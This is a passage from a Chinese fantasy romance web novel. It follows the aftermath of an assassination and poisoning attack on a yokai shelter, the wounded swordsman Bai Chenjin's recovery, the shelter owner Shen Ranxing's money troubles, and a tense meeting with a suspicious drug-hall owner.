怎么会有……杀手?! 纪明月仔细辨认着那些黑衣人的装束和伤口,再次确认,这绝对不是云阔之前与她议定计划时,提到的人手。 云阔明明答应,此次行动只利用被她控制的大鹏妖散布毒粉,造出妖院被毒杀惨案,以此试探并打击沈染星,让其放弃共生契约。 这也是今日她三番两次阻止沈染星提前回来的缘由。 为了万无一失,纪明月在执行这命令时,还冒着巨大的风险,留下了一个隐秘的后手—— 她并未完全控制大鹏妖,没有让它彻底丧失理智成为只知杀戮的傀儡。 相反,她巧妙地控制着了力度,让大鹏妖处于一种意识混沌,自我激烈抗争的状态。 这样,大鹏妖实力大减,妖气紊乱,足以制造出失控的假象,却又保留了一丝反抗的本能。 她的算盘打得很精。 以白尘烬的实力,对付一个实力十不存一,且内心挣扎无法全力施为的大鹏妖,轻而易举。 她算准了白尘烬的实力,却没算到云阔的狠毒与多疑。 原以为一切尽在掌控,偏偏在云阔这个老狐狸手里栽了跟头。 云阔竟还暗中派遣了这么多精锐杀手,他根本信不过她。 或者说,他原本的计划就更加恶毒,不仅要毒杀妖院的生灵,彻底清洗这里,还想趁白尘烬中毒,直接把他也杀了。 白尘烬死了便罢,或许云阔也不会放过沈染星…… 纪明月看着这满院黑衣杀手的尸体,垂在身侧的手紧握成拳,手背上青筋微微凸起。 她出任务一向利落果断,这一次破天荒的,居然有些后怕。 甚至还有些……庆幸。 也许云阔猜到了她会留后手,也料到了白尘烬有了软肋。 可他也与自己一般,没有想到大鹏妖宁愿遭到反噬,宁愿承受粉身碎骨的痛苦,也不愿听从指令,更是挣脱了控制。 纪明月想起方才看到大鹏妖临死的那一幕,心口发闷,一种前所未有的复杂情绪涌上来。 有愧疚与自嘲,因为这局面终究因她而起;有愤怒,对云阔算计的滔天怒火;更有一种深深的无力感,在这张无形的大网中,她似乎无论如何挣扎,都只会将身边的人拖入更深的深渊。 一侧偏院门口传来细碎声响,她和沈染星同时往那边看去。 那声响似乎只是错觉,只轻轻的一声,又恢复了死寂的一片,只有枯叶偶尔飘落的细微声响。 纪明月看向院墙,她发现了雪拂,是他闹出动静后,又隐了身形。 沈染星不知情况,心脏在胸腔里疯狂擂鼓,既害怕那声音是另一个陷阱,又无法抑制地生出一点微弱的希望。 她不放过任何一丝希望,走过去,推开了那扇木门。 看清眼前的景象,她猛地倒吸一口冷气,瞳孔骤缩,脚步僵在原地,连呼吸都停滞了。 在这绿意盎然的院落中央,白尘烬长剑撑与地上,勉强站立着。 他那一身深色衣衫早已被暗沉的血迹浸透,多处破损,露出底下深可见骨的狰狞伤口。 鲜血顺着他握剑的手,滴滴答答地落在积满灰尘的地面上,晕开一小片暗红。 他脸色苍白如纸,唇边还残留着未干的血迹,那双总是深邃冰冷的灰蓝色眼眸,此刻虽然依旧锐利,却明显带着重伤后的虚弱和强撑的警惕。 木门打开,与沈染星对视瞬间,他周身瞬间爆发出骇人的杀气,如同濒死的凶兽,目光凶狠地射过来。 但在看清来人是她的那一刻,那凝聚得几乎要实质化的杀气骤然褪去,紧绷的身体肉眼可见地松懈下来,强撑着的那口气仿佛也随之消散。 他看着她,似乎想说什么,嘴唇微动,却只逸出一声压抑不住的闷哼,高大的身躯再也无法支撑,向前倾倒。 “白尘烬!” 沈染星的心脏猛地一跳,惊呼出声,所有的震惊和思绪都被抛到脑后。 她几乎是扑了过去,用尽全身力气,在那具沉重的身躯完全摔倒在地之前,险险地接住了他,自己也被那下坠的力道带得一个趔趄,半跪在地。 入手是一片粘腻温热的濡湿,那浓重的血腥气几乎让她窒息。 沈染星紧紧抱着白尘烬,看着他紧闭的双眼和毫无血色的脸,感受着他微弱却急促的呼吸。 他怎么会伤成这样,中毒了吗?! 究竟发生了什么? 那些黑衣人……是他解决的? 那其他人和妖呢? 沈染星脑子很乱,完全无法捋清思路。 此时,身后那厢房的窗户,小心翼翼地推开了一道缝隙,片刻过后,窗户嘭地一下被完全推开。 开窗的人是石多磊,他眼中爆发出巨大的惊喜,回头朝屋里喊道:“是东家!是东家回来了,那些毒也散了!” 话音刚落,门猛地被打开,先冲出来的是乔阿盈。 她发髻散乱,裙角沾着泥污,脸上还带着未干的泪痕,却不管不顾地扑到沈染星身边,声音带着哭腔:“东家,你没事太好了……” 紧接着,从门内涌出的,是共生苑里那些幸存下来的小妖们。 它们形态各异,性情不同,此刻却无一例外地簇拥在一起。 几只平时调皮捣蛋、互相追打吵闹的小妖,更是紧紧挨着,瑟瑟发抖,圆溜溜的眼睛里充满了恐惧,没有任何一只试图独自逃离,或攻击身边的同伴。 甚至还有两只属性相克、平日里互不搭理的妖,此刻竟也诡异地靠在了一起,互相倚靠着,从彼此身上汲取着微薄的安全感。 石多磊快步上前,小心翼翼地协助沈染星,想要将重伤的白尘烬抬起,乔阿盈则是去从屋里找干净的布帛和清水。 没有混乱的尖叫,没有自私的推搡,没有在危难时刻暴露本性、弱肉强食的内讧。 有的只是一种劫后余生的惶恐,一种紧紧依靠在一起的脆弱,以及一种……无需言语、自发形成的、保护这个家和同伴的默契与团结。 纪明月站在原地,仿佛被一道无形的惊雷劈中。 这……怎么可能? 在她的认知里,在缉灵司常年与妖物打交道的经验里,甚至在国师府那套冷酷的训诫中,妖族,尤其是未经驯化,野性难驯的妖族,其本性就是自私、残暴、遵循最原始的丛林法则。 在面临巨大危机时,它们会本能地优先保全自己,会为了争夺一线生机而互相倾轧、吞噬,内讧和自我毁灭是常态。 这才是妖族的真实。 可眼前这番景象,却与她根深蒂固的认知产生了剧烈的冲突。 这些妖,修为参差不齐,种族各异,天性或许本就存在矛盾。 在刚刚经历了一场灭顶之灾般的袭击,自身岌岌可危的情况下,它们没有四散奔逃,没有为了争夺这看似安全的偏院小屋而自相残杀,反而……团结在了一起? 听从石多磊和其他雇员的安排? 互相依靠,互相守护? 它们看向沈染星和白尘烬的眼神,那里面是真切的担忧、依赖,以及看到主心骨后的如释重负。 那不是被武力驯服后的恐惧和顺从,更像是一种……发自内心的归属感和守护欲。 这到底是怎么做到的? 纪明月想要过去,融入他们,可下一瞬,又缓缓收回了迈出的脚步,站在原地,如同一个局外人,冷眼旁观着这充满温情与团结的一幕。 不对。 她否认了突然冒出来与妖和平共处的荒唐想法。 鼻尖仿佛又萦绕起幼年时的血腥气,眼前浮现出家人被妖物撕扯、啃噬的画面。 母亲最后那声凄厉的惨叫,父亲将她藏进柜子时绝望的眼神,还有温热的血溅在脸上的触感……每一个细节都深深刻在她的骨髓里。 妖就是妖。 冷血残暴,忘恩负义,这是刻在它们骨子里的本性。 如今这些妖物之所以收敛爪牙,不过是因为忌惮实力强悍的白尘烬。 若不是他的震慑,它们早就已经乱成一团,把院里的人全厮杀干净了。 纪明月紧紧咬着后槽牙,一遍遍在心里重复: 一定是这样。 一定是这样。 纪明月正失神着,一只手自门外探入,扣住她手臂,把她拉了出去。 “砰”的一声闷响,她的后背重重撞在粗糙的墙面上,震得她五脏六腑都仿佛移位了一般。 她下意识地想要挣扎反击,抬眼却对上了一双近在咫尺,微微上挑的眼眸。 雪拂…… 眼前的雪拂,与她平日里熟知的那个总是嬉皮笑脸,插科打诨的狐妖截然不同。 即便两人往日吵得再凶,他也不曾用这样的眼神看她。 那双总是流转着媚意和狡黠的眸子,此刻像是被水洗过一般,清澈却盛满了浓得化不开的受伤、失望,还有愤怒。 他没了往日的风情万种,只是微微垂着头,额前几缕碎发落下,在他精致的脸颊上投下阴影,让他整个人散发出一种危险而脆弱的美感。 寻常时候,二人的关系总是纪明月占了主导地位。 可如今她却不敢看他。 纪明月才转头避开视线,雪拂一把扣住她下颌,把她的脸扭过来。 他就这般死死地盯着她。 第54章 不看我,居然去看一朵花…… 雪拂的桃花眼里布满了红血丝, 唇紧抿着,扣住她手臂的力道极大,几乎要捏断她的骨头。 纪明月能感到他身体的紧绷,以及那几乎要破体而出的质问。 她在心中自嘲地冷笑一声。 一种破罐子破摔的疲惫感席卷而来。 她甚至主动迎上雪拂的目光, 眼底又刻意结了一层冰, 掩去了一片故作的决绝。 摊牌了也好, 她想。 雪拂本是天地间逍遥自在的九尾狐,是几乎不受约束的大妖,随心所欲, 无拘无束。 三年前在青葱林间初见时, 他一身白衣猎猎, 笑得张扬肆意,仿佛天地间没有什么能束缚住他。 是因为遇见了她,刻意接近他的她,带着目的取得他信任的她,他才甘愿收敛锋芒, 褪去那身耀眼的光华。 更是被她牵连, 遭遇不测, 沦落到如此狼狈的境地。 如今看来, 困在这小小院落,不过是陪她演这一场不知尽头的戏。 而她自己呢? 本是缉灵司里最冷漠干脆的妖能者,铁石心肠,只忠于命令。 师父曾说她是天生的卧底,冷静且不为情所动, 最适合潜伏在妖域。可第一次任务,便遇见了这只纠缠不休的狐妖,她才变得如此优柔寡断, 左右为难。 他们在一起,不过是互相折磨。 继续下去,只有无休止的猜忌、隐瞒和伤害。 昨夜云阔下达命令时,她就知道会有这一天,只是没想到来得这样快,这样惨烈。 不过转念一想,不如就此撕破脸,也好过这钝刀子割肉般的痛苦。 她几乎能预见到他接下来会如何厉声斥责她的欺骗,如何用最伤人的话语揭开她所有不堪的伪装。 她甚至已经做好了承受这一切的准备,紧绷的身体像一张拉满的弓。 然而,雪拂迟迟没有动作。 时间在沉默中流逝,对视间,每一息都漫长如年。 雪拂胸膛剧烈起伏了几下,手上极大的力道却一点点,缓慢地松开了。 他依旧紧紧盯着她,但眼底那汹涌的情绪竟奇迹般地开始平息。 他抬起手,没有质问,没有指责,而是轻柔抚上了她眼下猩红的水迹。 纪明月下意识别开脸。 雪拂扣在她下颌的手用力,又把她脸掰正了。 “别动。”他说。 声音沙哑得厉害,另一只手不知从何处取出一方干净的素白帕子,仔细擦拭着她脸上的污迹。 纪明月瞥了一眼,素白帕子沾了红,是她发间法簪滴落的猩红液体,不知何时滴落到了眼下,宛若一滴血泪。 雪拂擦得认真。 纪明月浑身僵硬,任由他动作。 她看见他专注的神情,看见他抿紧的薄唇,看见他唇角尚未干涸的血迹。 这一刻,她忽然想起很多往事。 想起两人初遇时的争锋相对,想起她第一次为他挡刀时震惊的眼神,想起无数个深夜他守在院中等她归来时疲惫的身影,想起……他发现妖丹被剖后的绝望。 他的心是真的,而她的心是假的,是诱饵,是一环接着一环的陷阱。 雪拂见纪明月脸色愈发难看,轻声问道:“有没有受伤?” 纪明月浑身猛地一颤,像是被这句话烫到了一般,猝然抬眸,难以置信地看向他。 他没有戳穿她。 他没有放弃她。 在经历了这样的欺骗和危险之后,他最先关心的,竟然还是她有没有受伤。 那一刻,纪明月眼底刻意筑起,保护自己冰轰地碎裂开来,所有自暴自弃的决绝,土崩瓦解,碎成了齑粉。 她张了张嘴,想说些什么,却发现喉咙哽咽得发不出声音。 视线开始模糊,那些被她压抑了太久的情绪,终于冲破了桎梏。 雪拂轻轻给她擦去眼泪。 她的声音很轻,有些颤抖:“你是傻子吗?你为什么……” 纪明月没能主动摊牌,雪拂身形摇晃几下,倒了下去。 他的妖丹已失,强行催动妖力参与打斗,早已到了身体的极限,方才全凭一口气硬撑着。 在加上纪明月接下来的话他不愿听,便任由自己陷入了黑暗。 最后听到的,是纪明月担心的惊呼,这对他来说,比那些乱七八糟,弯弯绕绕的事好多了。 晨光熹微,驱散了前几日的阴霾。 官府的人在当天已经将黑衣刺客的尸首全部收走,只留下院落中尚未完全清理干净的打斗痕迹和些许血腥气。 经过几日的休整和打扫,共生苑内虽然依旧可见破损,却勉强能住人了。 小妖们吃了纪明月带回来的药,不小心吸入的微量毒素,已经清理得差不多。 他们在石多磊和乔阿盈的指挥下,忙碌地清理着庭院,修补破损的篱笆和屋瓦。 一片萧条中,传来阵阵清越悦耳的鸣唱,似乎能抚平这片土地所受的创伤。 房内,药香弥漫,轻而薄的帐子扬起。 白尘烬醒来时,帐子的虚影轻柔地扫过他的脸。 晨曦透过半支轩窗洒入,被细密窗棂切割成柔和光斑。 身下是干燥柔软的被褥,带着阳光晒过的好闻味道。他发现自己赤着上身,原本狰狞的伤口已被仔细清理,敷上了清凉的药膏,就着他的素帛包扎好了。 他头一动,一块布巾掉落在了枕头上。 床边的小几上,摆放着一盆清水,而一侧……放置着一个白瓷瓶,里面插了一朵淡蓝色小花。 白尘烬盯着那朵小花,轻蹙眉头。 就在这时,一阵鸟鸣声吸引了他的注意,清脆如碎玉,婉转悠扬。 他微微侧头,看向窗边。 沈染星背对着他,踮着脚尖,伸出一根纤细的食指,正逗弄着站在窗外枝丫的九音鸟。鸟儿尾翎修长,灵性十足。 “再唱一段嘛,就一段。”沈染星的声音带着一丝撒娇的意味,眼睛亮晶晶的,“你唱得最好听了,比我听过的所有鸟儿唱的都要好,快,再给东家我展示一下!” 九音鸟被夸得飘飘然,振振翅膀,又仰头展开歌喉,发出一串更加繁复华丽的鸣叫,音调高低起伏,韵律天成,听得人心情都不由自主地轻快起来。 白尘烬一眨不眨地看着沈染星的背影。 “真棒!”沈染星笑得眉眼弯弯,忍不住又递过去一小颗谷米作为奖励,指尖轻轻点了点鸟儿的小脑袋。 许是察觉了他的目光,沈染星忽然转身。 她看过来刹那,白尘烬迅速地闭上了眼睛。 连他自己也不知为何要闭上眼。 “怎么掉了?”沈染星疑惑地嘟囔一声,轻手轻脚地走到床边,俯下身,捡起白尘烬枕头上的白色布巾。 把布巾放进水盆后,她坐到床边,仔细端详着白尘烬的脸色。 见他依旧闭目昏睡,沈染星轻轻叹了口气,伸出微凉柔软的手,自然而然地抚上了他的额头,试探着温度。 白尘烬眼睫微颤。 这触感十分熟悉…… 脑海中,突然出现二人逃离伏妖居时,在黑松林的画面。 那时他因旧毒发作,高烧不退,意识模糊间,也是这只微凉柔软的手,带着担忧和抚慰,探上他滚烫的额头。 其余记忆都变得遥远而虚幻,唯有这微凉柔软的触感鲜明得厉害。 当时的他,不明白为何在那冰冷的杀戮生涯里,这简单的触碰会让他心跳失序,会让他贪恋不已,只觉得困惑又烦躁。 而现在,他知道了。 他喜欢她满心满眼都是他的样子,喜欢她掌心的温柔。 他甚至卑鄙地享受着这重伤带来的片刻温存,享受着被她专注照料的感觉。这感觉如此令人着迷,令人沉溺…… 一个荒谬的念头在他心底疯狂滋生—— 要是……能一直这样病着就好了。 可是…… 白尘烬侧头,看向床边的小几上的小蓝花。 这几日白尘烬一直昏迷不醒,反反复复的发烧,沈染星早已习惯有空便来探他额头的温度。 这几乎成了她的日常。 只是没想到,正细细感受着,手下额头突然动了,吓她一跳。 沈染星猛地缩回手,愣了两息,才惊喜道:“你终于醒啦?” 白尘烬没看她,低低“嗯”了一声。 沈染星见他一直盯着那白瓷瓶里的小蓝花,双手捧住他的脸,迫使他直面自己。 “几天不见,一睁眼看都不看我,居然去看一朵花?!” 白尘烬似乎听不懂她的话,眨了眨眼睛后,静静看着她。 他人毕竟昏迷了几日,脑袋混沌一点也属正常,沈染星也不恼:“你好像不继续发热了,感觉好点了吗,还有哪里不舒服吗?” 白尘烬坐起身来,黑发滑落腮边,半晌才答:“我没事了,有些事情需要去处理一下。” 在他的禁令下,冯维翰还是来了,而且放了花,冯维翰这一次的行动是得了上面的指令。 他必须要知道上面的指令的是什么。 总归不会是好事。 不等沈染星回答,他双脚一放,便下了床。 可显然他身体还未大好,根本站不稳,踉跄了一下,又被沈染星塞回了被子里。 在沈染星再三的劝说和保证下,他才定住了心神,不再折腾下床。 无论是伏妖居、流芳阁、贾贞、还是天瑶庄,沈染星没见过白尘烬这样急切的态度。 她多看了几眼小蓝花,看来来访的那个药堂老板,不是一个简单的角色。 白尘烬靠在床软枕上,低垂眼睫,似乎还在纠结那药堂老板来访之事。 若是那药堂老板真的居心不良,早在前几日他们最脆弱的时候,便可以下手了。 沈染星认为,此时关于药堂老板的事,着实急不来。 她突然想起这几日盘旋心中的疑问,凑近白尘烬:“院子里的人啊妖啊那些,是你提前把它们藏到偏院保护起来的吧?我都问过阿盈了,她说混乱一开始,你就出现了,把它们都赶进了那间屋子,还守在门口。” 白尘烬抿了抿唇,保持沉默。 “是不是你?”沈染星又凑近了些,气息拂过他的耳廓。 白尘烬耳朵一阵酥麻,注意力全然被她引去。 他轻轻点了点头。 她额头抵在他肩头,轻轻搂着他,轻声道:“其实那天我回到门口,一看到漫天黄叶,感觉天都塌了,浑浑噩噩地往里走,都不知道该怎么办才好,直到看到你,才发现,原来天没塌,还有你在顶着呢。” 白尘烬愣了一下,抬手覆上她的背,生疏地轻拍两下。 “你终于醒过来了,”她哽了一下,道,“真好。” 第55章 她像一个外人 衙门没查到刺客来历, 那桩案子就这么不明不白地放着了。 共生苑已重整完毕,恢复了生机,重新开张,却遇到了一个更严重的问题。 偏厅里, 乔阿盈和石多磊相对而坐, 面前摊开着厚厚的账本, 两人的脸色都不太好看。 “……退单的越来越多了,”乔阿盈气鼓鼓地翻着一叠取消租赁的信笺,愤懑不平, “说什么我们这里的妖失控, 不安全, 怕牵连他们,都是些不明事理的,人云亦云。” 石多磊叹了口气,埋头记账。 自从那日过后,不知谁散播了流言, 造谣共生苑这一次的劫难, 是因为没有好好驯化妖, 妖物失控反抗所致的。 造谣一张嘴, 辟谣跑断腿,无论如何解释,大多数人依旧不信。 连衙门都出面解释了,他们依旧不信。 造谣愈演愈烈,更是引起了一阵恐慌, 短短几日,大部分的单子都被退了,如今还在陆续接到退单的信笺和退回来的妖。 乔阿盈打开一封新的信笺, 拍到桌子上:“那些难听的谣言,越传越离谱,简直不堪入耳!” 石多磊被她突然的动作吓得一抖,停下记账,把笔卡回笔架上。 比起乔阿盈的义愤,他更多的是钱财方面的忧愁。 “谣言倒是其次,如今的燃眉之急,是缺钱。”他指着账本上几项巨大的支出:“光是抓药为大家解毒,就是一笔巨款。还有院子里那些被毒素污染的土壤,几乎全部换掉了,这工程量不小,花费更大。再加上被毁坏的房屋、结界、花圃的修缮……我们之前积攒钱财,已经所剩无几了。” 他顿了顿,抬眼看向乔阿盈:“我核算过了,就算把目前能调动的所有款项都填进去,也还有不小的缺口。而且,后续维持日常开销,给受伤妖和人继续用药,都需要钱。” 乔阿盈咬着下唇,眼圈微微发红,既是气的,也是急的。 石多磊沉默片刻:“其实也不是完全没办法。” “什么办法?” “可以把镇子里东街那处新买的宅子卖了。” “不行。”乔阿盈几乎立刻拒绝。 她当然知道石多磊说的是事实,可一想到要动那样东西,她就万分不舍。 那一处宅子前半个月才买下的,价值不菲。 是乔阿盈和石多磊帮着沈染星找了许久才看中的,位置极好,将来无论是自己住还是做点小生意都非常合适。 沈染星非常喜欢那里,还听取了不少乔阿盈布置方面的建议。 “那是眼下最快能筹集到大量现钱的办法了。”石多磊的声音低沉,无奈道,“地段好,应该不难脱手。” 其实他也很喜欢那一处宅子,但眼下似乎没有更好的选择了。 两人相对无言。 “那宅子,不能动!”一个声音突然从门口传来。 两人齐齐抬头,只见沈染星不知何时站在了那里,一只手捂着胸口,一手抱着一个盒子,脸上是显而易见的挣扎和心疼。 她走了过来,像是捧着什么易碎品般,将一个不大不小的紫檀木盒子小心翼翼放在账本旁边。 盒子雕刻精致,本身看起来就价值不菲。 “东家……”乔阿盈站起身,有些疑惑。 沈染星深吸一口气,仿佛下了莫大的决心,才颤抖着手打开了盒子。 霎时间,珠光宝气微微闪耀,几乎晃花了人眼。 里面整齐地摆放着各式首饰,翠的,红的,黄的,白的……还有不少金裸子和银锞子…… 简直是个小型宝库,每一件都透着“我很贵”的气息。 石多磊和乔阿盈都惊呆了,嘴巴微微张开,难以置信地看着沈染星。 他们都知道东家有点……嗯,节俭,平日里一个铜板都恨不得掰成两半花,工钱也不见涨过,谁能想到她私下里居然攒下了这么丰厚的一份家当! “这些……先拿去当了。”沈染星的声音带着心疼的颤音,眼睛几乎黏在那些珠宝上挪不开,“应该能凑上一笔,不够的,再想其他办法。” 她像是用尽了全身力气才把话说完,然后飞快地补充道,语气异常坚决:“总之,东街那处宅子,绝对不能卖。” 乔阿盈不明白东街那处宅子宅子到底有多重要,只知道沈染星十分看重,每次路过都要美滋滋地看几眼。 “东家,想不到你……”乔阿盈声音都变了调,二话不说,就抓住那紫檀木盒子。 用力,没能拉过来。 再用力,还是失败了。 乔阿盈手上用劲,咬着牙道:“东家,你先放手吧。” 沈染星也浑身使劲,与她拔河:“先等等,我再考虑考虑。” 一阵较量后,还是乔阿盈落了下风,那紫檀木盒子被沈染星拉了回去。 乔阿盈习以为常,拍拍手,坐回椅子,从一开始,她便没有想过抠门东家会有这般魄力。 沈染星的指尖颤抖着抚摸过那冰凉的珠翠,那眼神,活像是在割自己的肉,痛惜之情溢于言表,声音都带上了哭腔:“再让我多看两眼,多看两眼,这可是我千辛万苦攒下来的……” 她喃喃着,越说越心痛,仿佛已经看到白花花的银子长翅膀飞走了。 乔阿盈随口附和一句,继续拆信笺,协助石多磊记账。 沈染星在一旁暗自心疼好一会,猛地闭上眼睛,又狠狠心睁开,一把将盒子推到两人面前。 两人抬头看向沈染星。 沈染星道:“拿去吧!趁我后悔之前。” 石多磊看着面前这盒价值不菲的珠宝,又看了看沈染星那副心疼得快要晕过去,却又强撑着的模样:“……东家,也不必这样,我们可以再想想其他办法。” 沈染星有气无力,瘫在椅子上:“没有其他办法了,如今去钱庄借钱都借不着。” 乔阿盈道:“反正那宅子买了不过半个月,再卖出去,当作从来没拥有过,也不是什么……” “不行!”沈染星斩钉截铁,“那处宅子不能动。” “为什么?” “我自有用处。” 石多磊停笔,狐疑地看她:“东家,关于那座宅子的事,你总是神神秘秘的,不会是金屋藏娇了吧。” 前些日子总往那边跑,还不让人跟,着实可疑。 沈染星一个激动,指着他道:“我金屋藏娇,也不会藏你们婚房里。” 霎时间,空气安静了。 石多磊手上的笔悬空过久,笔尖处聚了一滴墨,吧嗒地落到桌面上。 “谁的婚房?”石多磊问道。 沈染星本想装修好后,给他们一个惊喜的,可没料到近期发生这么多事。 既然已经说出来,她也不打算继续隐瞒:“你们有了大婚的打算,我想着给你们置办一处宅子,当作是新婚礼物。” 乔阿盈满脸震惊,张着嘴,久久没有回过神来。 石多磊低头,重新用笔蘸墨;“卖了吧……” 沈染星一阵感动,想不到为了一起度过这个难关,他们连一直心心念念的宅子都不要了。 感动还未落地,又听见他说道:“大不了我们婚事延期,等你东山再起了,再给我们买一个……对了,别忘了利息。” 沈染星:“……” 此事还没争论处一个结果,有人来报,药堂老板来送药了。 这位药堂老板名叫冯维翰,拥有方圆镇上,最大,也是药材最全的药堂——济世堂。 共生苑出事的那日,虽说毒粉已被大鹏妖设法卷走了,却还是有不少妖误吸了毒粉,连白尘烬也中了招。 纪明月知道解药药方,沈染星便让石多磊带着几个护卫去抓药,顺便带个大夫回来。 想不到他们不仅带来了一位老大夫,连济世堂的老板冯维翰也带了回来。 自那以后,冯维翰每隔三日亲自上门送药。 冯维翰是个中年蓄须男人,长相正派儒雅,气质威严,可沈染星总觉得他对她有莫名的敌意。 花厅内,茶香袅袅。 冯维翰一身深色常服,端坐下首,久居上位的威严却自然而然地流露出来。 花厅的气氛有些凝滞。 他与坐主位的沈染星寒暄过后,抬手示意身后的随从。 随从得了指令,上前,将码得整整齐齐的五大包药提给沈染星。 “沈东家,”冯维翰道,“这是这三日的解药。” 他声音平和,沈染星心中微凛。 每次听他说话,总觉得他不像商人,更像是……官。 随从将药放在沈染星一侧的桌子上,沈染星道了谢,又让人给了银子。 冯维翰目光停留在她身上,仿佛能穿透皮囊,直视内心。 沈染星每次见他都发怵,如今在他的视线下,更是坐立不安。她不明白堂堂济世堂老板,为何一股子官场气息,又为何如此执着于跑腿送药。 “沈东家年纪轻轻,便能在这京城之地,开办如此规模的妖院,与各方妖族打交道,实属难得。”冯维翰端起茶杯,轻轻拨弄着浮叶,“不知……沈东家开设此院的初衷,究竟为何?” 来了。 沈染星心下一紧,知道这才是今日的重点。 她每次见他,都跟奔赴考场似的……有这种想法,也怪不了她,主要是这位冯老板,总是喜欢问些官方的问题。 问便算了,答不好他还黑脸! 偏偏如今解药所需的药材只有堂济世能配,又不好撕破脸…… 沈染星忍辱负重,稳住心神:“我只是觉得,人族与妖族共存于世,纷争不断,多因互不了解,心存芥蒂。开设这个妖院,是希望能提供一个相对平和的环境,让双方有机会接触、合作,探索一条……或许能互利共生的道路。妖有所需,人有所求,各取所需,总好过一味打杀、敌对。” 说完,她对自己的回答十分满意。 多么合情合理说辞,多么先进的理念。 不过…… 冯维翰闻言,只是瞥了她一眼,淡淡地“哦?”了一声。 “当真是你内心真实所想吗?”他放下茶杯,虽未提高音量,那无形的压力却骤然增强,“在我看来,似乎……不太见得。” 沈染星对上他探究的视线,心头猛地一跳。 冯维翰这是什么意思?他知道了什么? 这个冯维翰与白尘烬关系匪浅,而她一开始开设共生苑,甚至有这个想法,都是因为白尘烬。 一开始是想从白尘烬手上活下来,后来则是想把他留在身边。 沈染星强自镇定,抬起眼,努力让自己的目光不闪不避:“冯老板为何这样说?” 冯维翰却没有直接回答她的问题,话锋陡然一转:“听说……白公子,前日已然醒转了?” 他顿了顿,像是陈述,又像是感叹,“年纪轻轻,修为莫测,确是难得。只是……跟在沈东家身边这些时日,似乎也没少受罪,此番更是险些丢了性命。也不知,他这般人物,缘何甘愿屈就于此,历经艰险?” 说罢,他撩眼看向沈染星,眼神变得犀利,像一根冰冷的针,猝不及防地刺向沈染星。 沈染星的脸色微微发白。 他这是在暗指她身边危机四伏,连累他人,甚至隐隐质疑她留在白尘烬身边的动机是否单纯? 遭难的那日,冯维翰带来的老大夫对白尘烬身上的素帛很熟悉,包扎的时候没让她在场,当时,相对于他们而言,沈染星觉得自己更像一个外人。 不仅仅是当时,即便是此时此刻,她也觉得自己像一个外人。 沈染星第一次对原身的身份产生了好奇。 冯维翰似笑非笑地看着她,催促道:“沈东家?” 沈染星恍然回神,还未回答,门外传来声音。 “东家。” 她转头看去,白尘烬背着光,站在门外。 第56章 白尘烬来得悄无声息…… 白尘烬来得悄无声息, 就那样突兀地立在花厅门口,逆着光,看不清表情,但周身散发出的那股生人勿近的冷冽气息, 瞬间打破了花厅内原本就紧绷的氛围。 沈染星心中莫名一松, 仿佛找到了主心骨, 一直紧绷的神经稍稍缓和。 她立刻抓住这个机会,站起身,微微俯身道:“冯老板, 我还有事, 先……” 后面的话还未出口, 白尘烬已经动了。 他几步跨入厅内,甚至没有看冯维翰一眼,径直走到沈染星面前,一把扣住了她的手腕,猛地将她往自己身边一带。 “哎!”沈染星猝不及防, 被他拉得一个踉跄, 差点撞进他怀里。 她惊愕地抬头, 只看到他线条冷硬的下颌和阴冷的眼眸。 白尘烬拉着沈染星转身时, 视线越过了她的头顶,落在从凳子上站起来的冯维翰。 冯维翰对着白尘烬,俯身颔首,悄无声息地恭送。 白尘烬的那一瞥极快,沈染星稳住身子, 再次抬头看向他时,他已经收回了目光。 白尘烬拉着沈染星,一路快步, 走回书房。 “砰!” 书房的门被白尘烬关上,发出一声沉闷的巨响,隔绝了外界。 一路被他几乎是拖行回来,沈染星的手腕被攥得生疼,气息也有些不稳。 她刚想开口问他发什么疯。 白尘烬猛地转过身,那双灰蓝色的眼眸在相对昏暗的书房内,亮得惊人,沈染星想说的话卡在喉咙。 怎么了……他好像快失控了。 发生了什么事? 白尘烬一把将她按在紧闭的门板上,动作急切,沈染星莫名其妙地观察着他。 他甚至来不及说话,抑或是,他根本就没想说话。 他的双手带着微不可查的颤抖,开始近乎粗暴地检查她。 冰凉的指尖猛地扯开她衣襟的领口,目光扫过她裸.露的脖颈和锁骨,确认没有可疑的标记,然后抓住她的双臂,将袖子用力捋起,仔细查看她纤细的手腕、手臂,甚至连指尖都不放过。 沈染星被他按在门上,像一件需要被仔细查验的物品,动弹不得。 他指尖的冰凉,以及那下面压抑着的,如同火山即将喷发般的剧烈杀意。 这杀意不是针对她,反而是因她而起,因为担心她。 可为什么他突然这般? 因为……冯维翰? 沈染星忽然明白了。 白尘烬如此失态,并非因为他忌惮冯维翰本人。 以他的性子,恐怕这世上没什么人能让他真正忌惮,他忌惮的,是冯维翰可能对她造成的威胁。 他此刻近乎粗暴的检查,是因为他害怕,害怕在他不知道的时候,她已经受到了伤害。 冯维翰是白尘烬这方的人,为何会对她不利? 一个念头闪过,沈染星想起二人刚接触时,白尘烬的敌对态度…… 她这具身体的身份……似乎不得了,让白尘烬这一派的势力相当忌惮。 正想着,白尘烬的手掌隔着衣料,快速而用力地按压她的肩膀、脊背、腰侧……仿佛在确认她每一寸骨骼是否完好,是否遭受了内伤。 他动作又快又重。 “……我没事。”沈染星怕他真的失控,试图安抚他,“冯老板只是说了几句话,给了几包药,他没有对我怎么样。” 可白尘烬仿佛听不见,依旧固执地确认着她的完好。 他的手指停留在她下颌处,强迫她抬起头,灰蓝色的眼眸死死锁住她的眼睛,仿佛要从她瞳孔最深处挖掘出哪怕一丝一毫的恐惧或隐瞒。 他这种近乎偏执的紧张,让沈染星的心尖软得一塌糊涂。 她抬起手,覆上了他正用力托着自己下颌的那只冰冷的手。 然后,在他注视下,她微微侧头,将自己的唇,印在了他手腕内侧。 那里,素帛缠绕着,并未直接接触,只是一个安抚性的动作。 白尘烬却整个人如同被一道惊雷劈中,猛地僵住。 那只被亲吻的手腕像是被烙铁烫到一般,肌肉瞬间绷紧如铁,脉搏在她唇下疯狂地跳动,几乎要撞破血管。 缠绕其上的素帛边缘,似乎都因这突如其来的触碰而微微颤动了一下。 他抽回被亲吻的手,猛地扣住她下颌。 另一只掐住了沈染星腰肢,她忍不住闷哼一声,整个人被他更加牢固地禁锢在门板与他坚硬的身体之间。 沈染星被迫仰起头。 他的注视几乎要将人灼伤。 白尘烬的内心深处,涌动着一种从未有过的暴戾与焦躁。 他惯于掌控,习惯用最直接、最残酷的方式扫清一切障碍。若是从前,遇到像冯维翰这样试图窥探,可能耽误他计划还不知收敛的人,他根本不会多费唇舌,直接让其彻底消失便是。 干净利落,一了百了。 可这一次,不行。 